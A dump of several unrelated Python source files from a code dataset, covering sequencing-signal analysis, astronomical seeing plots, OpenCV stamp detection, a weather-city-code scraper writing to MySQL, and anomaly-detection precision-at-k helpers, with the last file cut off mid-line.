one_control_conds : list\r\n List of condition (directory) prefixes of those conditions that are to\r\n be labeled as the one-signal control. Used for signal calculation.\r\n zero_control_name : str (default: '0 Control')\r\n The name of the 0 control in the 'Condition' column of data.\r\n one_control_name : str (default: '1 Control')\r\n The name of the 1 control in the 'Condition' column of data.\r\n\r\n Returns\r\n -------\r\n data : pd.DataFrame\r\n Updated input data DataFrame with 'Aitch Fraction' and 'Signal' column.\r\n\r\n See Also\r\n --------\r\n generate_aitch_df\r\n\r\n \"\"\"\r\n\r\n n_conditions = len(data.Directory.unique())\r\n\r\n # Calculate relative distance between 0 and 1 control averages\r\n aitch_dists0 = data['Aitch Dist (from 0)']\r\n aitch_dists1 = data['Aitch Dist (from 1)']\r\n data['Aitch Fraction'] = aitch_dists0 / (aitch_dists0 + aitch_dists1)\r\n\r\n # Now, renormalize such that 0 and 1 control means are 0 and 1,\r\n # respectively. Need to do this because 0 and 1 controls are individually\r\n # compared to the 0 and 1 control means in previous step, resulting in\r\n # the across-replicate mean relative distance being greater than 0 for 0\r\n # controls and less than 1 for 1 controls.\r\n data0 = data.loc[data.Condition == zero_control_name, :]\r\n data1 = data.loc[data.Condition == one_control_name, :]\r\n\r\n reps0 = data0.Replicate.unique()\r\n reps1 = data1.Replicate.unique()\r\n\r\n aitch_fracs0_vals = []\r\n for rep0 in reps0:\r\n data0_rep0 = data0.loc[data0.Replicate == rep0, :]\r\n aitch_fracs0_vals.append(data0_rep0['Aitch Fraction'])\r\n\r\n aitch_fracs0_means = np.mean(aitch_fracs0_vals, axis=0)\r\n aitch_fracs0_col = np.array(list(aitch_fracs0_means) * n_conditions)\r\n\r\n aitch_fracs1_vals = []\r\n for rep1 in reps1:\r\n data1_rep1 = data1.loc[data1.Replicate == rep1, :]\r\n aitch_fracs1_vals.append(data1_rep1['Aitch Fraction'])\r\n\r\n aitch_fracs1_means = np.mean(aitch_fracs1_vals, axis=0)\r\n aitch_fracs1_col = np.array(list(aitch_fracs1_means) * n_conditions)\r\n\r\n # Calculate final signal\r\n signal_col = ((data['Aitch Fraction'] - aitch_fracs0_col) /\r\n (aitch_fracs1_col - aitch_fracs0_col))\r\n\r\n data['Signal'] = signal_col\r\n\r\n return data\r\n\r\n\r\ndef get_length_dists(seqs, max_len=200):\r\n \"\"\"Read R1 fastq files in subdirectories in data_dir. In each file, count\r\n the number of sequences of each length.\r\n\r\n Parameters\r\n ----------\r\n seqs : dict\r\n Key is directory (condition) name, value is a list of further\r\n processed sequences given input options.\r\n max_len : int\r\n Maximum sequence length you expect to see in all your data.\r\n\r\n Returns\r\n -------\r\n len_dists : dict\r\n Contains the number of sequences for a given length for each condition.\r\n Structure is {'directory_name': [num_0_bp_seqs, num_1_bp_seqs, etc.]}.'\r\n\r\n See Also\r\n --------\r\n read_seqs\r\n parse_fastq_lengths\r\n calc_cum_length_dists\r\n\r\n \"\"\"\r\n\r\n len_dists = {}\r\n\r\n for directory in seqs:\r\n\r\n lens = [0 for _ in range(max_len + 1)]\r\n\r\n for seq in seqs[directory]:\r\n lens[len(seq)] += 1\r\n\r\n len_dists[directory] = lens\r\n\r\n return len_dists\r\n\r\n\r\ndef calc_cum_length_dists(len_dists):\r\n \"\"\"Takes length distribution data and calculates the cumulative length\r\n distribution from the regular length distribution. Does this for each\r\n condition, replicate pair (directory).\r\n\r\n Parameters\r\n ----------\r\n len_dists : dict\r\n Contains the number of sequences for a given length for each condition.\r\n Structure is {'directory_name': [num_1_bp_seqs, num_2_bp_seqs, etc.]}.'\r\n\r\n Returns\r\n -------\r\n cum_len_dists: dict\r\n A dict that stores a list of cumulative percents for each directory.\r\n\r\n See Also\r\n --------\r\n get_length_dists\r\n\r\n \"\"\"\r\n\r\n cum_len_dists = {}\r\n\r\n for directory in len_dists:\r\n len_dist = np.array(len_dists[directory])\r\n pct_counts = len_dist / sum(len_dist)\r\n\r\n cum_counts = []\r\n cum_val = 0\r\n for pct in pct_counts:\r\n cum_val += pct\r\n cum_counts.append(cum_val)\r\n\r\n cum_len_dists[directory] = cum_counts\r\n\r\n return cum_len_dists\r\n\r\n\r\ndef generate_length_df(len_dists, condition_dict, rep_dict,\r\n zero_control_conds=None, one_control_conds=None):\r\n \"\"\"Normalize length counts (in len_dists) to percents and format into a\r\n DataFrame for plotting and further analysis.\r\n\r\n Parameters\r\n ----------\r\n len_dists : dict\r\n Contains the number of sequences for a given length for each condition.\r\n Structure is {'directory_name': [num_1_bp_seqs, num_2_bp_seqs, etc.]}.'\r\n condition_dict : dict\r\n Maps directory name to more readable condition name. Format is\r\n {directory: condition_name}.\r\n rep_dict : dict\r\n Maps directory name to replicate number. Format is {directory: #}.\r\n zero_control_conds : list\r\n List of condition (directory) prefixes of those conditions that are to\r\n be labeled as the zero-signal control. Used for signal calculation.\r\n one_control_conds : list (default: None)\r\n List of condition (directory) prefixes of those conditions that are to\r\n be labeled as the one-signal control. Used for signal calculation.\r\n\r\n Returns\r\n -------\r\n len_data : pandas.DataFrame\r\n Contains length distribution data. Columns are: 'Condition',\r\n 'Replicate', 'Signal', 'Length', 'Count', and '% Count'.\r\n\r\n See Also\r\n --------\r\n get_len_dists\r\n generate_aitch_df\r\n\r\n \"\"\"\r\n\r\n len_data = pd.DataFrame()\r\n\r\n lengths = range(201) # Assume longest seq is no longer than 200 bases\r\n\r\n lens_col = []\r\n len_counts_col = []\r\n norm_counts_col = []\r\n cond_col = []\r\n rep_col = []\r\n control_signal_val_col = []\r\n\r\n for directory in len_dists:\r\n lens_col += lengths\r\n\r\n len_counts = len_dists[directory]\r\n len_counts_col += len_counts\r\n\r\n norm_counts = list(np.array(len_counts) / sum(len_counts))\r\n norm_counts_col += norm_counts\r\n\r\n cond = condition_dict[directory]\r\n rep = rep_dict[directory]\r\n\r\n cond_col += [cond] * len(lengths)\r\n rep_col += [rep] * len(lengths)\r\n\r\n if zero_control_conds and directory in zero_control_conds:\r\n control_signal_val = 0\r\n elif one_control_conds and directory in one_control_conds:\r\n control_signal_val = 1\r\n else:\r\n control_signal_val = np.nan\r\n\r\n control_signal_val_col += [control_signal_val] * len(lengths)\r\n\r\n len_data['Condition'] = cond_col\r\n len_data['Replicate'] = rep_col\r\n len_data['Signal'] = control_signal_val_col\r\n len_data['Length'] = lens_col\r\n len_data['Count'] = len_counts_col\r\n len_data['% Count'] = norm_counts_col\r\n\r\n return len_data\r\n\r\n\r\ndef parse_fastq_lengths(len_dists, expt_time=60, shift=0):\r\n \"\"\"For each condition in the overall data_dir, look at each R1 fastq file\r\n (all sequences, not deduplicated or trimmed based on length), and tally\r\n the lengths of all the sequences. Then calculate mean, std length.\r\n\r\n Parameters\r\n ----------\r\n len_dists : dict\r\n Contains the number of sequences for a given length for each condition.\r\n Structure is {'directory_name': [num_1_bp_seqs, num_2_bp_seqs, etc.]}.\r\n expt_time : numeric (default: 60)\r\n Length of the experiment (in minutes).\r\n shift : int (default: 0)\r\n See enumerate_indices_from_counts().\r\n\r\n Returns\r\n -------\r\n averages : pd.DataFrame\r\n Pandas DataFrame with fastq length information for each condition.\r\n Columns are 'Directory', 'Mean' (length), 'Std Devs' (length), and\r\n 'Rate (nt/min)'.\r\n\r\n See Also\r\n --------\r\n get_length_dists\r\n calc_switch_bins\r\n\r\n \"\"\"\r\n\r\n conds = []\r\n means = []\r\n stds = []\r\n\r\n for cond in len_dists:\r\n len_counts = len_dists[cond]\r\n lengths = enumerate_indices_from_counts(len_counts, shift=shift)\r\n conds.append(cond)\r\n means.append(np.mean(lengths))\r\n stds.append(np.std(lengths))\r\n\r\n averages = pd.DataFrame()\r\n averages['Directory'] = conds\r\n averages['Mean'] = means\r\n averages['Std Devs'] = stds\r\n\r\n averages['Rate (nt/min)'] = np.array(averages['Mean']) / expt_time\r\n\r\n return averages\r\n\r\n\r\ndef enumerate_indices_from_counts(counts, shift=0):\r\n \"\"\"Take a list, where result is specified by index and number of those\r\n results is specified by the list value, and enumerate all values. For\r\n example, the list [2, 3, 1] would become [0, 0, 1, 1, 1, 2].\r\n\r\n Parameters\r\n ----------\r\n counts : list\r\n List of counts, where index specifies the result being counted.\r\n shift : int (default: 0)\r\n Added to the index value to determine result. Most useful when counts\r\n are 1-indexed rather than 0-indexed (i.e. by setting shift to 1).\r\n\r\n Returns\r\n -------\r\n enumerated_list : list\r\n List of enumerated values.\r\n\r\n \"\"\"\r\n\r\n enumerated_list = []\r\n for index, count in enumerate(counts):\r\n result = index + shift\r\n results = [result] * count\r\n enumerated_list += results\r\n\r\n return enumerated_list\r\n\r\n\r\ndef calc_switch_bins(averages, data_df, mode='01'):\r\n \"\"\"Assumes that we want to use the normalized 0 --> 1 signal in data_df\r\n rather than the norm % difference. Assumes 0 --> 1 signal is precalculated\r\n and tabulated in data_df in 'Signal' column.\r\n\r\n Parameters\r\n ----------\r\n averages : pd.DataFrame\r\n Pandas DataFrame with fastq length information for each condition.\r\n Columns are 'Directory', 'Mean' (length), 'Std Devs' (length), and\r\n 'Rate (nt/min)'.\r\n data_df : pd.DataFrame\r\n Should contain columns 'Directory' and 'Signal'.\r\n mode : str\r\n Determines which way we are switching (from 0 to 1 or from 1 to 0).\r\n Also, will look for this string to mark switch conditions. For example,\r\n if mode == '01', then all rows in data_df with '01' in Condition will\r\n be assumed to be switching experiments.\r\n\r\n Returns\r\n -------\r\n averages : pd.DataFrame\r\n Updated input averages DataFrame with 'Switch Bin' column.\r\n\r\n See Also\r\n --------\r\n parse_fastq_lengths\r\n calc_switch_bin\r\n calc_switch_times\r\n\r\n \"\"\"\r\n\r\n averages = averages.copy()\r\n directories = list(averages.Directory)\r\n switch_bin_col = []\r\n\r\n for directory in directories:\r\n sub_data_df = data_df.loc[data_df.Directory == directory]\r\n signals = np.array(sub_data_df['Signal'])\r\n\r\n switch_bin = calc_switch_bin(signals, mode=mode)\r\n switch_bin_col.append(switch_bin)\r\n\r\n averages['Switch Bin'] = switch_bin_col\r\n\r\n return averages\r\n\r\n\r\ndef calc_switch_bin(signals, mode='01'):\r\n \"\"\"Find two bin interval which contains 0.50 signal. Then interpolate\r\n between those two bins to find the exact switch bin. For example, if\r\n signals array is [0, 0.3, 0.7, 1] (four bins), then switch bin would be\r\n calculated as 1.5.\r\n\r\n Parameters\r\n ----------\r\n signals : np.array\r\n 1-D array of signal values.\r\n mode : str\r\n Determines which way we are switching (from 0 to 1 or from 1 to 0).\r\n\r\n Returns\r\n -------\r\n switch_bin : float\r\n Index (bin) in signals at which signal crosses 0.50 threshold. This\r\n value is interpolated between the two bins around 0.50.\r\n\r\n See Also\r\n --------\r\n calc_switch_bins\r\n\r\n \"\"\"\r\n\r\n switch_bin = None\r\n\r\n for index, signal in enumerate(signals):\r\n if mode == '01' and signal > 0.5:\r\n # Switch bins found - interpolate between them\r\n bin_upper = index\r\n bin_lower = index - 1\r\n m = signals[bin_upper] - signals[bin_lower]\r\n x = bin_lower + (0.5 - signals[bin_lower]) / m\r\n switch_bin = x + 1\r\n break\r\n elif mode == '10' and signal < 0.5:\r\n # Switch bins found - interpolate between them\r\n bin_upper = index - 1\r\n bin_lower = index\r\n m = signals[bin_lower] - signals[bin_upper]\r\n x = bin_upper + (0.5 - signals[bin_upper]) / m\r\n switch_bin = x + 1\r\n break\r\n\r\n if not switch_bin or switch_bin < 0:\r\n switch_bin = np.nan\r\n\r\n return switch_bin\r\n\r\n\r\ndef calc_switch_times(averages, num_bins=1000, start_control_conds=None,\r\n end_control_conds=None, t_expt=60):\r\n \"\"\"Calculate switch times for 01 or 10 (does not support more than one\r\n switch). If no controls for start and end are specified, assumes constant\r\n rate throughout. However, if controls are specified, assumes constant 0\r\n rate and constant (but potentially different) 1 rate (see methods in paper\r\n for details).\r\n\r\n Parameters\r\n ----------\r\n averages : pd.DataFrame\r\n Pandas DataFrame with fastq length information for each condition.\r\n Columns are 'Directory', 'Mean' (length), 'Std Devs' (length),\r\n 'Rate (nt/min)', and 'Switch Bin'.\r\n num_bins : int (default: 1000)\r\n Number of bins sequences were binned into.\r\n start_control_conds : list (default: None)\r\n Name of the conditions in averages.Directory that are the 1 control if\r\n switching from 1 --> 0 or the 0 control if switching from 0 --> 1.\r\n end_control_conds : list (default: None)\r\n Name of the conditions in averages.Directory that are the 0 control if\r\n switching from 1 --> 0 or the 1 control if switching from 0 --> 1.\r\n t_expt : numeric (default: 60)\r\n Length of the experiment (in minutes).\r\n\r\n Returns\r\n -------\r\n averages : pd.DataFrame\r\n Updated input averages DataFrame with 'Switch Time' column.\r\n\r\n See Also\r\n --------\r\n calc_switch_bins\r\n\r\n \"\"\"\r\n\r\n if start_control_conds and end_control_conds:\r\n r_start_df = averages[averages['Directory'].isin(start_control_conds)]\r\n r_start = r_start_df['Rate (nt/min)'].mean()\r\n\r\n r_end_df = averages[averages['Directory'].isin(end_control_conds)]\r\n r_end = r_end_df['Rate (nt/min)'].mean()\r\n\r\n switch_times = calc_switch_time_w_rates(averages['Switch Bin'],\r\n num_bins, t_expt, r_start,\r\n r_end)\r\n\r\n averages['Switch Time'] = switch_times\r\n\r\n else:\r\n averages['Switch Time'] = (averages['Switch Bin'] / num_bins * t_expt)\r\n\r\n return averages\r\n\r\n\r\ndef calc_switch_time_w_rates(switch_bins, num_bins, t_expt, r_start, r_end):\r\n \"\"\"Uses Equations 5 and 6 in paper to calculate switch time. Accounts for\r\n difference in polymerization rates between 0 and 1 conditions.\r\n\r\n Parameters\r\n ----------\r\n switch_bins : pd.Series\r\n Series of switch bin indices.\r\n t_expt : numeric\r\n Length of experiment (in minutes).\r\n r_start : numeric\r\n Average rate at the beginning of the reaction.\r\n r_end : numeric\r\n Average rate at the end of the reaction.\r\n\r\n Returns\r\n -------\r\n switch_times : pd.Series\r\n Series of switch times (minutes).\r\n\r\n \"\"\"\r\n\r\n alpha = r_end / r_start\r\n\r\n num = alpha * t_expt\r\n denom = ((num_bins / switch_bins) + alpha - 1)\r\n\r\n switch_times = num / denom\r\n\r\n return switch_times\r\n","sub_path":"turtles_utils.py","file_name":"turtles_utils.py","file_ext":"py","file_size_in_byte":43407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"24195317","text":"#currently this is a redundant file and contains code for other plots; to be integrated with utils\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom astropy.io import fits\nimport numpy as np\nimport os\nfrom astropy import units as u\nfrom astropy.coordinates import SkyCoord\nfrom astropy.coordinates import EarthLocation\nfrom astropy.time import Time\nfrom astropy.coordinates import AltAz\nfrom astropy.coordinates import ICRS\nfrom astropy import coordinates as coord\nimport argparse\nimport pandas as pd\nfrom collections import OrderedDict\nfrom matplotlib.figure import Figure\n\ndef date2list_filepaths(date):\n\treqfiles=[]\n\tfor path, subdirs, files in os.walk('/home/user/Documents/seeing/{}'.format(date),topdown=True):\n \t\tfor x in files:\n \t\tif x.endswith(\"proc.cr.fits\") == True:\n \t\t \treqfiles.append(os.path.join(path, x))\n\treturn reqfiles\n\ndef list_filepaths2data(list_filepaths):\n\ttar_ra=[]\n\ttar_dec=[]\n\tfwhm=[]\n\tdate_obs=[]\n\tfilters=[]\n\tjd=[]\n\tlim_mag=[]\n\texp_time=[]\n\tiaohanle = EarthLocation(lat=32.778889*u.deg , lon=78.964722*u.deg ,height=4500*u.m)\n\t\n\tfor file in list_filepaths:\n\t\thdu = fits.open(file)[0]\n\t\tdata=hdu.data\n\t\theader=hdu.header\n\t\n\t\ttar_ra.append(header['TARRA'])\n\t\ttar_dec.append(header['TARDEC'])\n\t\tfwhm.append(header['MED_FWHM']) \n\t\tdate_obs.append(header['DATE-OBS'])\n\t\tfilters.append(header['FILTER'])\n\t\tjd.append(header['JD'])\n\t\tlim_mag.append(header['LIM_MAG'])\n\t\texp_time.append(header['EXPTIME'])\n\t\t\n\ttar_ra=np.array(tar_ra)\n\ttar_dec=np.array(tar_dec)\n\tfwhm=np.array(fwhm)\n\tfilters=np.array(filters)\n\tdate_obs=np.array(date_obs)\n\tobserving_time = Time(date_obs)\n\taa=coord.AltAz(location=iaohanle,obstime=observing_time)\n\ttarget = coord.SkyCoord(tar_ra * u.deg, tar_dec * u.deg, frame='icrs')\n\tx=target.transform_to(aa)\n\taz=x.az.value\n\talt=x.alt.value\n\ttable=pd.DataFrame({'observing_time':jd,'exposure_time':exp_time,'azimuth':az,'altitude':alt,'fwhm':fwhm,'lim_mag':lim_mag,'filter':filters},columns=['observing_time','exposure_time','azimuth','altitude','fwhm','lim_mag','filter'])\n\treturn table\n\t\n\ndef marker():\n\tmarker_dict=OrderedDict()\n\tmarker_dict['z']='>'\n\tmarker_dict['u']='v'\n\tmarker_dict['i']='^'\n\tmarker_dict['g']=','\n\tmarker_dict['r']='o'\n\treturn marker_dict\n\ndef plt_altVSfwhm(data_df,marker_dict):\n\tfig=plt.figure()\n\taxis = fig.add_subplot(1,1,1)\n\tfor kind in marker_dict.keys():\n\t\td=data_df[data_df['filter']==kind]\n\t\timg=axis.scatter(d['altitude'],d['fwhm'],c=d['azimuth'],cmap='viridis',s=50,marker=marker_dict[kind],edgecolor='none')\n\tclb=plt.colorbar(img)\n\tclb.set_label('azimuth (degree)')\n\taxis.set_xlabel('altitude (degree)')\n\taxis.set_ylabel('FWHM')\n\taxis.set_title('Date of observation : {}'.format(args.date))\n\tplt.grid()\n\tplt.legend(['z-filter','u-filter','i-filter','g-filter','r-filter'],loc='upper center',bbox_to_anchor= (0.5,-0.05), ncol=6, fancybox=True)\n\treturn fig\n\ndef histogram_fwhm(data_df):\n\tfig=plt.figure()\n\taxis = fig.add_subplot(1,1,1)\n\timg=axis.hist(data_df['fwhm'])\n\taxis.set_xlabel('FWHM')\n\taxis.set_ylabel('frequency')\n\taxis.set_title('Date of observation : {}'.format(args.date))\n\tplt.grid()\n\treturn fig\n\ndef subplot_alt_az_fwhm(data_df,marker_dict):\n\tfig=plt.figure()\n\taxis1 = fig.add_subplot(1,2,1)\n\tfor kind in marker_dict.keys():\n\t\td=data_df[data_df['filter']==kind]\n\t\timg1=axis1.scatter(d['altitude'],d['fwhm'],marker=marker_dict[kind],s=50,edgecolor='none')\n\taxis1.set_ylim(min(data_df['fwhm'])-0.2,max(data_df['fwhm'])+0.2)\n\taxis1.set_xlabel('altitude (degree)')\n\taxis1.set_ylabel('FWHM')\n\tplt.grid()\n\taxis1.set_title('Date of observation : {}'.format(args.date))\n\tplt.legend(['z-filter','u-filter','i-filter','g-filter','r-filter'],loc='upper center',bbox_to_anchor= (0.5,-0.05), ncol=6, fancybox=True)\n\taxis2 = fig.add_subplot(1,2,2)\n\tfor kind in marker_dict.keys():\n\t\td=data_df[data_df['filter']==kind]\n\t\timg2=axis2.scatter(d['azimuth'],d['fwhm'],marker=marker_dict[kind],s=50,edgecolor='none')\n\taxis2.set_ylim(min(data_df['fwhm'])-0.2,max(data_df['fwhm'])+0.2)\n\taxis2.set_xlabel('azimuth (degree)')\n\taxis2.set_ylabel('FWHM')\n\tplt.grid()\n\taxis2.set_title('Date of observation : {}'.format(args.date))\n\treturn fig\n\ndef plot_limmagVSobstime(data_df,marker_dict):\n\tfig=plt.figure()\n\taxis = fig.add_subplot(1,1,1)\n\tfor kind in marker_dict.keys():\n\t\td=data_df[data_df['filter']==kind]\n\t\timg=axis.scatter(d['observing_time'],d['lim_mag'],c=d['exposure_time'],cmap='viridis',marker=marker_dict[kind],s=50,edgecolor='none')\n\tclb=plt.colorbar(img)\n\tclb.set_label('exposure time (seconds)')\n\taxis.set_ylim(max(data_df['lim_mag'])+0.2,min(data_df['lim_mag'])-0.2)\n\taxis.set_xlabel('observation time (JD)')\n\taxis.set_ylabel('limiting magnitude')\n\taxis.set_title('Date of observation : {}'.format(args.date))\n\tplt.legend(['z-filter','u-filter','i-filter','g-filter','r-filter'],loc='upper center',bbox_to_anchor= (0.5,-0.05), ncol=6, fancybox=True)\n\tplt.grid()\n\treturn fig\n\ndef plot_limmagVSexptime(data_df,marker_dict):\n\tfig=plt.figure()\n\taxis = fig.add_subplot(1,1,1)\n\tfor kind in marker_dict.keys():\n\t\td=data_df[data_df['filter']==kind]\n\t\timg=axis.scatter(d['exposure_time'],d['lim_mag'],marker=marker_dict[kind],s=50,edgecolor='none')\n\taxis.set_ylim(max(data_df['lim_mag'])+0.2,min(data_df['lim_mag'])-0.2)\n\taxis.set_xlabel('exposure time (seconds)')\n\taxis.set_ylabel('limiting magnitude')\n\taxis.set_title('Date of observation : {}'.format(args.date))\n\tplt.legend(['z-filter','u-filter','i-filter','g-filter','r-filter'],loc='upper center',bbox_to_anchor= (0.5,-0.05), ncol=6, fancybox=True)\n\tplt.grid()\n\treturn fig\n\n\n","sub_path":"images_query_interface/nightly/nightly .py","file_name":"nightly .py","file_ext":"py","file_size_in_byte":5522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"381211277","text":"import cv2\n\nfrom settings import STAMP_AREA_THRESH\n\n\ndef estimate_multi_single_stamp(frame):\n ret_val = \"Multi\"\n gray_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n _, thresh_frame = cv2.threshold(gray_frame, 200, 255, cv2.THRESH_BINARY)\n gs_contours, _ = cv2.findContours(thresh_frame, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n glass_contour = sorted(gs_contours, key=cv2.contourArea, reverse=True)[0]\n gs_left, gs_top, gs_right, gs_bottom = cv2.boundingRect(glass_contour)\n # cv2.rectangle(frame, (glass_rect[0], glass_rect[1]), (glass_rect[2], glass_rect[3]), (0, 0, 255), 5)\n # cv2.imshow(\"Gray frame\", gray_frame)\n # cv2.imshow(\"Thresh Frame\", thresh_frame)\n # cv2.imshow(\"Glass Region\", frame)\n # cv2.waitKey()\n glass_frame = thresh_frame[gs_top:gs_bottom, gs_left:gs_right]\n glass_frame_inv = cv2.bitwise_not(glass_frame)\n # cv2.imshow(\"Glass Inv Frame\", glass_frame_inv)\n # cv2.waitKey()\n st_contours, _ = cv2.findContours(glass_frame_inv, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n stamp_contours = []\n for s_cnt in st_contours:\n if cv2.contourArea(s_cnt) < (gs_bottom - gs_top) * (gs_right - gs_left) * STAMP_AREA_THRESH:\n continue\n # print(cv2.contourArea(s_cnt), (gs_bottom - gs_top) * (gs_right - gs_left))\n stamp_contours.append(s_cnt)\n if len(stamp_contours) == 1:\n cv2.drawContours(frame, [stamp_contours[0]], 0, (0, 0, 255), 3)\n peri = cv2.arcLength(stamp_contours[0], True)\n approx = cv2.approxPolyDP(stamp_contours[0], 0.01 * peri, True)\n cv2.drawContours(frame, [approx], 0, (0, 255, 0), 2)\n cv2.imshow(\"Approx Contour\", cv2.resize(frame, None, fx=0.5, fy=0.5))\n cv2.waitKey()\n if len(approx) == 4:\n ret_val = \"Single\"\n elif len(stamp_contours) == 0:\n ret_val = \"None\"\n\n # print(f\"[INFO] {ret_val} Stamp(s)\")\n\n return ret_val\n\n\nif __name__ == '__main__':\n import glob\n import os\n\n multi = estimate_multi_single_stamp(frame=cv2.imread(\"\"))\n img_files = glob.glob(os.path.join(\"\", \"*.jpg\"))\n for i_file in img_files:\n multi = estimate_multi_single_stamp(frame=cv2.imread(i_file))\n if multi != \"Single\":\n print(f\"[WANR] {i_file}: {multi}\")\n","sub_path":"src/stamp/multi_detector.py","file_name":"multi_detector.py","file_ext":"py","file_size_in_byte":2265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"454252365","text":"#!/usr/bin/env python3\n# -*- coding : utf-8 -*-\n\n'全国天气城市code'\n\nimport re\nimport requests\nfrom bs4 import BeautifulSoup\nimport datetime\nimport pymysql\n\n# 打开数据库连接\ndb = pymysql.connect(host=\"localhost\", user=\"dev\", passwd=\"000000\", db=\"test\", use_unicode=True, charset=\"utf8\")\n# 获得一个游标\ncursor = db.cursor()\n\ncity_rul = 'https://my.oschina.net/joanfen/blog/140364'\n\nheader = {\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n 'Accept-Encoding': 'gzip, deflate, br',\n 'Accept-Language': 'zh-CN,zh;q=0.8',\n 'Connection': 'keep-alive',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 '\n '(KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'\n }\n\n\ndef get_data(city_rul,header):\n response = requests.get(city_rul, headers=header)\n response.encoding = 'utf-8'\n html = response.text\n data = BeautifulSoup(html, 'html.parser')\n content = data.find('div', {'class': 'BlogContent'})\n # 获取省列表\n # h4 = content.find_all('h4')\n # for h in h4:\n # print(h.contents)\n\n p = content.find_all('p')\n city = re.split('\\n', content.get_text().strip())\n city_end = [['北京', '101010100']]\n for c in city:\n if c != '':\n cd = re.split(r'\\s', c.strip())\n cic = []\n for ct in cd:\n if ct != '':\n # 去除单个的省名:\n if len(ct) > 3:\n code = re.search(r'[0-9]{9}', ct)\n st = re.search(r'[\\u4e00-\\u9fa5]{2,9}', ct)\n if code.group() == '101010100':\n pass\n else:\n cic.append(st.group())\n cic.append(code.group())\n city_end.append(cic)\n return city_end # 返回一个list\n\n\ndef write_sql(city_list, file='G:/python/city_code.sql'):\n with open(file, 'w') as f:\n now = datetime.datetime.now()\n i = 1\n for city in city_list:\n sql = 'insert into city_code(id, city_name, city_code, gmt_created, gmt_modified)' \\\n ' values (%d,\\'%s\\',\\'%s\\',\\'%s\\',\\'%s\\')' % (i, city[0], city[1], now, now)+';'\n # f.write(sql) # 保存到sql\n i += 1\n # print(sql)\n # 直接写入到数据库\n try:\n # 执行sql语句\n cursor.execute(sql)\n # 提交到数据库执行\n db.commit()\n except:\n # 如果发生错误则回滚\n db.rollback()\n # 关闭数据库连接\n db.close()\nif __name__ == '__main__':\n city_list = get_data(city_rul, header)\n write_sql(city_list,)\n\n\n\n","sub_path":"day11_spider/weather_city_code.py","file_name":"weather_city_code.py","file_ext":"py","file_size_in_byte":2856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"518765677","text":"import statistics\n\nimport matplotlib.pyplot as plt\nimport seaborn as sb\n\nsb.set_style(style=\"whitegrid\")\nsb.set_color_codes()\nimport numpy as np\nimport scipy.stats as sts\nimport pandas\nimport pandas as pd\nimport eif_old as eif_old_class\nimport eif as eif_new\nimport scipy.io as sio\nimport os\nimport sklearn.metrics as skm\nfrom sklearn.ensemble import IsolationForest\nimport math\n\n\ndef calculate_PrecisionAtK_sif(filename, number_of_trees, subsample_size, extensionLevel, dataset_type, k):\n extensionLevel = 0\n path = './EIF_SIF_Result/SIF_Result/' + filename + \"_SIF_Result_Data_\" + dataset_type + \"-\" + str(\n number_of_trees) + \"-\" + str(subsample_size) + \"-\" + str(0) + \".xlsx\"\n pd_data = pd.read_excel(path, index_col=0)\n pd_data_sorted_by_score = pd_data.sort_values(by=\"score\", ascending=False).reset_index(drop=True)\n\n if k >= pd_data_sorted_by_score.shape[0]:\n k = pd_data_sorted_by_score.shape[0]\n\n if k < 1 and k > 0:\n k = int(pd_data_sorted_by_score.shape[0] * k)\n confusion = pd_data_sorted_by_score.loc[0:k - 1, \"label\"]\n else:\n confusion = pd_data_sorted_by_score.loc[0:k - 1, \"label\"]\n\n TP = confusion[confusion == 1].shape[0]\n FP = confusion[confusion == 0].shape[0]\n\n precision_at_k = 0\n\n if TP != 0 or FP != 0:\n precision_at_k = TP / (TP + FP)\n\n return precision_at_k\n\n\ndef calculate_PrecisionAtK_eif(filename, number_of_trees, subsample_size, extensionLevel, dataset_type, k):\n path = './EIF_SIF_Result/EIF_Result/' + filename + \"_EIF_Result_Data_\" + dataset_type + \"-\" + str(\n number_of_trees) + \"-\" + str(subsample_size) + \"-\" + str(extensionLevel) + \".xlsx\"\n pd_data = pd.read_excel(path, index_col=0)\n pd_data_sorted_by_score = pd_data.sort_values(by=\"score\", ascending=False).reset_index(drop=True)\n\n if k >= pd_data_sorted_by_score.shape[0]:\n k = pd_data_sorted_by_score.shape[0]\n\n if k < 1 and k > 0:\n k = int(pd_data_sorted_by_score.shape[0] * k)\n confusion = pd_data_sorted_by_score.loc[0:k - 1, \"label\"]\n else:\n confusion = pd_data_sorted_by_score.loc[0:k - 1, \"label\"]\n\n TP = confusion[confusion == 1].shape[0]\n FP = confusion[confusion == 0].shape[0]\n\n precision_at_k = 0\n\n if TP != 0 or FP != 0:\n precision_at_k = TP / (TP + FP)\n\n return precision_at_k\n\n\n\ndef calculate_PrecisionAtK_chord(filename, dataset_type, algo_type,k):\n prob_result_path = \"./EIF_SIF_Result/chordalysis_log_prob_result/\" + filename + \"-\" + dataset_type + \"-\" + algo_type + \"_result.xlsx\"\n pd_prob_result_data = pd.read_excel(prob_result_path)\n dataset_path = \"./datasets/\" + filename + \"_discretized_\" + dataset_type + \"_withLabel.csv\"\n pd_data = pd.read_csv(dataset_path)\n pd_data[\"score\"] = abs(pd_prob_result_data)\n\n pd_data_sorted_by_score = pd_data.sort_values(by=\"score\", ascending=False).reset_index(drop=True)\n\n if k >= pd_data_sorted_by_score.shape[0]:\n k = pd_data_sorted_by_score.shape[0]\n\n if k < 1 and k > 0:\n k = int(pd_data_sorted_by_score.shape[0] * k)\n confusion = pd_data_sorted_by_score.loc[0:k - 1, \"label\"]\n else:\n confusion = pd_data_sorted_by_score.loc[0:k - 1, \"label\"]\n\n TP = confusion[confusion == 1].shape[0]\n FP = confusion[confusion == 0].shape[0]\n\n\n precision_at_k = 0\n\n if TP != 0 or FP != 0:\n precision_at_k = TP / (TP + FP)\n\n return precision_at_k\n\n\ndef calculate_PrecisionAtK_eif_sif_ensemble_rank(filename, 